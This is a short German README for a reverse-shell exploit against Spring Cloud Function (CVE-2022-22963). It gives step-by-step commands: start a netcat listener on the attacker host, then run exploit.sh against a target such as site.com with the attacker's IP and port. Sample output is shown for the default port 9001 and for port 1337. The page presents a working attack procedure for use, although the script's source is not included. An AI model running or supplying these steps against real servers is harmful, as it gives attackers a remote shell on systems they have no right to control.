Exploit für RCE in Spring Cloud (CVE 2022-22963)

Exploit für CVE-2022-22963 Remote-Befehlsausführung in Spring Cloud Function

Weitere Informationen zur Schwachstelle finden Sie hier und hier

PoC

Führen Sie den Netcat auf Ihrem Host aus:

$ nc -lvnp 9001

Führen Sie den Exploit (Beispiel) mit dem Standardport 9001 auf dem Angreifer-Host aus:

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

Führen Sie den Exploit (Beispiel) mit dem angegebenen Port 1337 auf dem Angreifer-Host aus:

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

Beliebteste